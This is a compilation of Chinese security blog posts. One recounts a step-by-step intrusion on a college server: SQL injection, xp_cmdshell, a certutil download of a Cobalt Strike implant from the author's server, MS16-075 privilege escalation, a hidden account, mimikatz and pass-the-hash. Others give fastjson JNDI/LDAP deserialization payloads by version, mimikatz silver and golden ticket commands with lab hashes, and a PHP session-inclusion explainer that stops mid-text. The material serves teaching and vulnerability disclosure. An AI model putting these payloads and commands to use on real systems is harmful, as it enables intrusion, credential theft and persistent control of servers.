某学院系统sql注入到服务器沦陷(bypss)
前言
前一段时间都在挖edu src,为了混几个证书,中间陆陆续续也挖到好几枚系统的通杀吧,不过资产都不多,都是黑盒测试出来的,没啥技术含量。只有这次挖到的这枚通杀稍微有那么一点点价值,从外网web一步步深入最后服务器提权,拿下整台服务器桌面权限。
本文涉及相关实操:https://www.hetianlab.co/expc.do?ec=ECIDee9320adea6e062017112114390500001 本实验介绍了SQL注入原理,解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。
1.信息搜集
日常广撒网挖通杀,常规流程,上fofa搜索关键字,xx大学xx系统,xx大学xx平台,一般就是这几个关键词,或者是直接搜body=”xx公司”,xx公司一定要是经常给学校做开发的,往往都是好几所学校用同一家公司的产品。然后就找到了这样一个系统
查了下归属,归属是某某学院,教育资产,通过各种语法,信息搜集,找到大概十多所学校都在用这个系统,因为语法太多了,这里随便搜了搜。
2.四处碰壁
正常的黑盒测试流程,看一下啥语言写的,ASP+IIS,很常规的配置,edu一般除了jsp就是asp了,很少见到php站,iis的站,若后续有文件上传的点,可以测测iis解析漏洞,老版本的iis洞还是挺多的。
既然是asp的站,那就上御剑,先来一顿目录爆破,asp、aspx勾选上,80w的大字典开跑,
一杯茶的功夫,目录爆破完毕,果不其然,啥也没跑出来。
一般这种情况的话,可以换一换要跑目录,因为它整个系统可能架设在一个特定命名的目录下,这里因为时间关系,就没跑了。
既然目录爆破不行,这系统打开就是登录点,那就爆破登陆点试一试,各种用户名都爆破了一遍
还是失败了,一个弱口令都没爆破出来,学号,工号爆破都试过了,没有一个成功的,目前为止,目录爆破,密码爆破都走不通。
Sql注入,post注入,常规操作,果然。。。。又是一片红,必然做了过滤,简单的fuzz了下sql语句饶了绕,还是失败。
各种操作都来了一波,啥也没挖到,在挖edu的这段时间里,经常遇到这种情况,都习惯了。
既然注入也没有,还有过滤,那就测测逻辑漏洞,右下角找回密码,我可太喜欢找回密码了,找回密码处就是逻辑漏洞的高发地点,一打一个准,
点进去是这样一个页面,挺简陋,越是简陋,就越好打,果断输入答案,抓包。
没啥好看的,要是返回包里是json格式的话,那还有得玩。反正我遇上的逻辑漏洞,都是前端验证传回来的json参数,改json实现绕过。
3.柳暗花明(发现sql注入)
Sql注入,爆破,弱口令,逻辑漏洞都试过了,都失败了,正准备放弃的时候,我发现找回密码的时候,他这个系统有个特点,只要你一输入要找回的账户然后再换行,本来它设置问题那一栏是空的,在你输入完账号再换行时,它问题那一栏自动就出现了验证问题。
所以我推断,在用户输入完账号之后换行就触发了一个动作,这个动作会自动将用户输入的账号带入到后台,从后端获取这个账号的问题,然后再显示在前端,必然有数据交互的一个过程,既然有交互,那么这个点也可能存在注入的可能。
想到这里,打开burp,输入完账号之后不换行,切换至burp,抓包,然后再换行,触发动作,果然抓到了一个post包,请求内容正是账号
输入一个单引号,发现报错了,存在注入无疑了,这系统普通的登录点卡的死死的,还是被找到注入了,只不过这个注入的位置太奇葩了,一般人遇上waf就放弃了。
Sqlmap一把梭,发现是mssql,还是dba权限,不用想了,mssql+dba权限=xp_cmdshell,都不用进后台了。--os-shell
4.bypass上线cs并提权
过程就不放图了,简单描述一下,用的是certutil.exe -urlcache -split -f下载cs马,cs马在我的服务器上,刚开始下载文件的时候,报错,whoami一看,数据库权限,只读权限,没有写文件的权限,这可麻烦了
最后解决办法是,把cs马下载到mssqlserver用户的桌面目录下,其他路径没有执行下载的权限,在自己用户的桌面目录从有写文件的权限了吧?执行cs马,cs上线!
虽然拿到了shell,不过这个shell的权限实在太低了,dumphash报错,操作注册表就各种报错,反正啥操作的报错,因为权限太低
如今当务之急就是提权,先执行一下systeminfo、tasklist看看啥情况
Server 2012的机器,补丁实在打的有点多,吓人。Tasklist里也没发现有杀毒软件,估计是云waf
2012的机器内核漏洞算是最多的了,来来回回试了几个MS16-032/016,全打上补丁了,最后一个MS16-075,一把打穿,成功拿下system权限,2012的机器还是好提。
Bypass远程桌面组获取桌面控制权
执行一下netstat -ano发现开了3389端口,net user发现一堆的用户,这里就不放图了,不然篇幅实在太长了,简单的信息搜集之后,开始办正事,目标是桌面控制,上神器Mimikatz,抓一抓明文密码。这里稍微提一下,2021的机器是可以通过改注册表直接获取明文密码的,一抓发现管理员上次是5.3登录的,没抓到密码,只有hash
抓不到明文密码,那就新建用户,net user admin 123456 /add 新建用户,新建了一个admin 密码123456的用户。远程桌面连一下试试。
出现报错:“连接被拒绝,因为没有授权此用户帐户进行远程登录!以为就要成功了,这一个报错就像是当头一棒,找了找原因,是因为我新建的用户没有加入到远程桌面组,所以无法登录,
用net user把admin加入到远程桌面组之后,还是报错,我又修改注册表把防火墙关了,RDP规矩也放行了,无果..我猜可能是修改完配置之后要重启才会生效,我要是重启的话,这台服务器上的这套系统必然会瘫痪,重启是肯定不可取的。
在思想斗争了半天之后,我想到guest用户应该是默认就在远程桌面组的,我只要激活guest用户,那我就可以不重启就连3389了。
激活guest用户成功,密码123456,远程连接一下
一看到这个正在配置远程会话就知道稳了,3389成功上了桌面,guest权限,加了个隐藏账户,并手动加入到远程桌面组
5.RDP劫持失败
我们的目标是administrator的桌面控制权,但是密码抓不到,又不能重置administrator的密码,怎么拿下它的桌面?
这里我用了RDP劫持,上传一个psexec工具,然后获取一个system权限的cmd,因为只有system权限的命令行才能进行接管会话
首先query user查看会话ID(这里的图是我写文章的时候截的,所以登录时间是6-1)
然后再在system权限的命令行中执行tscon 2,发现失败,因为上次登录的时间已经超过三天了,凭证过期,无法劫持会话
6.PTH攻击实现利用hash登录
最后通过pth攻击 hash传递攻击拿下了administrator的桌面权限,具体如下
mimikatz命令:
执行后弹出远程登录界面,选择连接,成功实现无密码登录administrator
桌面长这样,mssql数据库管理页面还没退出
结尾
梳理一下过程:1.从外网信息搜集—2.到发现sql注入—3.到绕过权限上马—4.再到低权限提权—5.最后通过pth实现无密码登录administrator桌面,整个过程没有什么技术含量,都是很基本的操作,但是能学到很多,求各位大师傅轻喷,我觉得从发现问题到解决问题是一个很享受的过程,还有,最后拿到了程序的源码,审计后又发现了一处注入和未授权进后台,因为篇幅问题就不说了,漏洞已经打包提交至平台,最后,网安学习这条路任重道远,希望自己能走下去,少一点花里胡哨,踏踏实实学东西才是最重要的,不能觉得自己学了点皮毛就四处炫耀,保持适当的谦卑
java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
1.2.22<=version<=1.2.24
1.2.25<=version<=1.2.47
简述与使用
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
项目地址:https://github.com/alibaba/fastjson
环境直接maven:
<dependencies>
....
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
首先是关于fastjson的序列化与反序列化过程中会调用到类的get跟set方法,一个自建类:
package org.example;
public class JsonTest {
private int _id;
private String _name;
private String _passwd;
public JsonTest(int _id, String _name, String _passwd) {
this._id = _id;
this._name = _name;
this._passwd = _passwd;
}
public JsonTest() {
}
public int get_id() {
System.out.println("get "+_id);
return _id;
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}
Main:
public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}
运行后得到了如下结果:
[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。
在上述反序列化过程中需要多添加一个class类的参数:JsonTest.class
而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。
给序列化过程的函数指定第二个参数:
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
此时能够得到一个指定了type的json串:
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
再对其反序列化时就无需再指定对应的类了:
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。
反序列化过程
先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。
首先进入到JSON.class中:
接着进入parse函数中:
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
其构造器中有如下:
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
其会根据对应的{或[去设置token,之后通过scanSymbol来获取到@type,并且autotype它还支持如下形式嵌套的串:
[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]
其中对于字符串的还有如下对于双字节字符的处理:
\u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了https://xz.aliyun.com/t/7107:
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符
这一个点其实可以用在某些filter的绕过上。
继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类:
之后会从mappings中尝试取出class类(mappings中存放的是一些内置类):
如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。
接着进行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
一路跟去会有一个denyList:
这一个list默认情况下只有一个Thread类:
this.denyList = new String[]{"java.lang.Thread"};
最后会去调用到set方法。
1.2.22-1.2.24
这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。
JdbcRowSetImpl
首先该链有两种利用方式:RMI+JNDI和RMI+LDAP
其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考:
https://www.freebuf.com/column/207439.html前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下:
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:
直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点:
同样进入else,关键在于这里的connect调用了lookup:
最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。
Templateslmpl
前面的链就不跟了,体力活,主要是了解其原理,具体可以看看:
https://www.cnblogs.com/afanti/p/10193158.htmlhttps://xz.aliyun.com/t/8979#toc-6payload我参考的是上面第二个链接,此处截取部分方便理解:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。
首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于_outputProperties这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。
因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。
跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了:
但method的来源还需要追究一下。
经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键:
在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码:
同样位于build函数下有一段获取getter的代码:
其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll:
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
也就说如果一个json串:
{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
会需要将{"key": "value"}放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。
跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
经过一系列调用最后就到了TEMPOC中执行到RCE:
BasicDataSource
省赛遇到的一道题才知道原来还有这条链,先mark下:
http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。
1.2.25-1.2.45部分绕过
直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:
//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);
autoTypeSupport默认修改为false:
需要通过如下方式开启:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
并且有一个denylist,来过滤掉前面用到的链中的类:
部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052
这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。
1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.45
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。
该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
前面提到在checkAutoType中有这么一个if:
if (this.autoTypeSupport || expectClass != null)
因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面:
这里的deserializers.findClass比较关键:
此处的this.buckets会发现其内置了很多的类,如:
那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。
偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法:
白名单中的类都在此处。
比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下:
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类:
Class<?> clazz = (Class)mappings.get(className);
在取不到时会调用类加载器去加载类,此时就取到了com.sun.rowset.JdbcRowSetImpl。
之后最致命的操作就是:
mappings.put(className, clazz);
将com.sun.rowset.JdbcRowSetImpl这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:
他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。
开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。
而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:
if (cache) {
mappings.put(className, clazz);
}
此时就不会将class类装载进缓存中了。
Kerberos协议及其利用
前言
之前就一直想着抽空学学内网渗透相关的东西,无奈被各种事情耽搁。。。刚好这两天闲下来,就把之前留的坑填一下。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 (本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。)
Kerberos协议原理
啥是Kerberos?
一种双向的网络身份认证协议,通过使用加密技术为客户端/服务端应用程序提供强大的认证服务
基本概念
Principal 安全个体,具有唯一命名的客户端或服务器。命名规则:主名称+实例+领域,如:herlocky/mailto:admin@EXAMPLE.COM
TGT 票据授予票据(Ticket Granting Ticket),包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥
Ticket 票据,一条包含客户端标识信息、会话密钥和时间戳的记录,客户端用它来向目标服务器认证自己
Session key 会话密钥,指两个安全个体之间使用的临时加密秘钥,其时效性取决于单点登录的会话时间长短
KDC Key分发中心(key distribution center),是一个提供票据(tickets)和临时会话密钥(session keys)的网络服务。KDC服务作为客户端和服务器端信赖的第三方,为其提供初始票据(initial ticket)服务和票据授予票据(ticket-granting ticket)服务,前半部分有时被称为AS,后半部分有时则被称为TGS
AS 认证服务器(Authentication Server),KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库,用于身份认证
TGS 许可证服务器(Ticket Granting Server),KDC的一部分,根据客户端传来的TGT发放访问对应服务的票据
SS 特定服务的提供端(Service Server)
如何运作?
放一张图片可能比较好理解一些:
1.(在开启Kerboers协议的基础上)当客户端想访问服务器上的资源时,需要先向KDC发送认证请求,在发送认证请求的时候会根据自己的密码生成密钥,用密钥将发送的时间戳进行加密。(加密作用在于防止别人获取到信息后进行重放攻击)
2.1 KDC在接受到请求后,会先查看AS中是否有该账户的信息,使用相对应解密算法将时间戳解密,完成了A的身份认证。这里解释一下为啥会用到时间戳:因为在传输过程中,可能会被黑客进行截获,黑客在截获后如果想骗取认证的话需要进行数据包的再次发送,也就是重放攻击。重放攻击需要耗费一定时间,如果用时间戳作为衡量标准的话,当KDC解出时间戳和当前时间差别过大时,就不会再继续认证。
2.2 上文说到Kerboers是双向的认证,2.1是客户端向KDC证实身份,现在需要KDC向客户端证明身份。首先,KDC会生成一把专门用于KDC与A之间通信的密钥,并且用密钥加密自身,得到的这个玩意儿就是TGT。之后将时间戳、KDC生成的密钥、随机字符串使用客户端生成的密钥进行加密。
2.3.客户端在收到消息后,会使用自己最初生成的密钥来解密密文,得到KDC的密钥,并且证实其身份。
3.1 接下来客户端需要向KDC去认证服务器的身份,于是会将之前的TGT和KDC的密钥加密的信息与时间戳以及新的消息发送给KDC,KDC收到消息后会将TGT解密拿到密钥和加密的信息,达到验证客户端的目的。
4 KDC生成新的密钥 ,新密钥供客户端与服务器通信时使用,并且该密钥和客户端的信息会被服务器的密钥进行加密形成票据,原KDC生成的密钥对新密钥进行加密后,将票据和生成的新密文发送给客户端
5.1 客户端拿着KDC生成的新密钥加密信息和时间戳,再外加一个票据(TGS)去请求服务器
5.2 服务器用自己的私钥解开票据,拿到客户端和服务器之间的密钥以及信息,接着用该密钥解密客户端发来的密文,如果验证为真,就会将时间戳用客户端和服务器之间的密钥进行加密发给客户端。
6 客户端接收到服务器发送的信息后,解密查看时间戳完成对B的身份校验,完成认证过程。
---------------------------------------------------------------------------------------------------分隔符---------------------------------------------------------------------------------------------------------
用大白话来说可能会容易理解Kerboers协议,比如在学校的机房里(假设为域控环境),如果用户想在任意一台主机上进行操作,只需要有一个账户名密码即可。该账户名密码存于域控制器中,有别于我们平时使用的工作组,用户名密码不通过本机验证,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机(如telnet)则是通过SAM来进行NTLM验证。
记录一次不心酸的AD域控搭建
环境
VMware虚拟机:Windows 2012 R2,Windows 7
过程
搭建起来没想象中的复杂,主要是把服务器上的AD域和DNS服务器安装好,处理好服务器和主机之间互通的问题
直接按照这个博客搭建即可https://www.cnblogs.com/leixiao-/p/10579208.html,过程不再赘述。搭建域控环境目的还是为了复现Kerberos协议中的两种利用方式。
白银票据
原理
先拽一波英文,Silver Ticket(白银票据)主要是利用TGS,即六步认证过程中的第五步,客户端拿着票据向服务器中的某个服务发起请求,这时候的票据格式是这样的:
Ticket=Server Hash(Server Session Key+Client info+End Time)
利用服务器端生成的密钥对Server Session Key、客户端的消息以及时间戳进行加密。因为服务器没有收到Server Session Key,并不知道我们要访问的究竟是何种服务,所以当我们知道Server Hash的时候,就可以去访问服务器中指定的服务。简单地说,就是生成了一个可以随时访问服务的后门。
利用条件
1.已知服务器的NTLM hash
2.仅对部分开放服务有效,如cifs(文件共享服务),mssql,winrm(windows远程管理),dns等等
实践过程
用的是红日安全的环境
192.168.52.138 域控服务器
192.168.52.143 客户端
mimikatz 工具
之前自己搭建的AD域环境有点问题,没复现成功,心塞。。。然后用红日的环境复现好了。拿到的客户端是管理员权限,域控的主机是普通用户权限。没详细研究怎么去打组合拳,先看看能不能利用一下白银票据。尝试用命令查询客户端共享目录的访问权限,发现无法访问:
dir \\stu1.god.org\c$
因为要伪造访问客户端的访问权限,所以我们可以在客户端中去拿到这个NTLM Hash:
mimikatz log "privilege::debug" "sekurlsa::logonpasswords">log.txt
在log.txt中查看到 NTLM Hash:
然后我们还需要域的SID值,域的SID就是域成员的SID值去掉最后的 -数字 的部分,该域的SID值就是S-1-5-21-2952760202-1353902439-2381784089 可以在log.txt中查看,也可以用命令:
whoami /user
最后一步,就是在域控主机中伪造票据,为了方便就直接进行伪造,写入域控主机内存。mimikatz 其实还可以把票据dump到本地,方便以后再使用。为了防止其他票据干扰,可以使用 kerberos::purge 把主机中其他票据删除。伪造命令:
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:stu1.god.org /rc4:55c330808522af0724598d8f48af2809 /service:cifs /user:stu1 /ptt
然后再次访问,成功:
最后,mimikatz之前没咋用过,简单看了一下是可以将内存中的密码都读出来,很强大。。有些密码没经过Hash处理,直接明文显示了。
黄金票据
原理
和白银票据不同,黄金票据利用点在于伪造TGT。伪造TGT的关键就在于获取KDC的哈希值,也就是KRBTGT账户的哈希值,伪造出TGT的话,后面就可以有效的获得目标主机任何的Kerberos服务。
利用条件
1.需要与KDC通信
2.需要krbtgt的hash
实践过程
依旧是红日安全的环境
Win2008R2(DC) IP:192.168.52.138
Win2003 IP:192.168.52.141
Win7 IP:192.168.52.143(内)
mimikatz 工具
大大大前提:我们已经可以访问域控主机,接下来我们在域控上使用mimikatz进行票据提取。先导出KRBTGT账户的hash:
lsadump::dcsync /domain owa /user:krbtgt
把信息提取出来:
安全账户管理器用户名:krbtgt krbtgt SID为:S-1-5-21-2952760202-1353902439-2381784089-502 krbtgt 的hash:58e91a5ac358d86513ab224312314061
查看一下域控主机当前用户:
接着回到win7主机上,我们要在win7主机中使用mimikatz,通过黄金票据获得域控主机权限。先启动mimikatz,借助kerberos::purge命令清除win7主机上的票据
接着利用前面获取到的信息伪造黄金票据:
kerberos::golden /domain:owa.god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-502 /rc4:58e91a5ac358d86513ab224312314061 /user:krbtgt /ptt
再尝试一下能否访问远程文件共享
啊这,出现这个错误的时候在网上查了很多资料,也关闭了防火墙和windows defender还是出现上述问题。后面调用systeminfo命令看了一下,原来打补丁了啊,那没事了,如果没有补丁的话就可以继续对目标机器进行渗透,甚至可以用PSEXEC.exe进行反弹shell。关于红日安全靶场,在网上进行下载即可。
浅谈利用session绕过getshell
在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID21bb-8308-4117-ab95-a4602fa6c377 (本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)
基础知识
PHP SESSION的存储
SESSION会话存储方式
在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path
在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的
默认路径
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
session文件的存储路径是分为两种情况的
一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid)
二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp
与 SESSION 有关的几个 PHP 选项
session.serialize_handler
一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储
二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储
三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了
对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
session.auto_start
默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.use_strict_mode
默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanup
session.upload_progress.cleanup
默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传
session.upload_progress.enabled
默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出
Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
此时在session中存放的数据看上去是这样子的:
<?php $_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when th
LFI漏洞
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
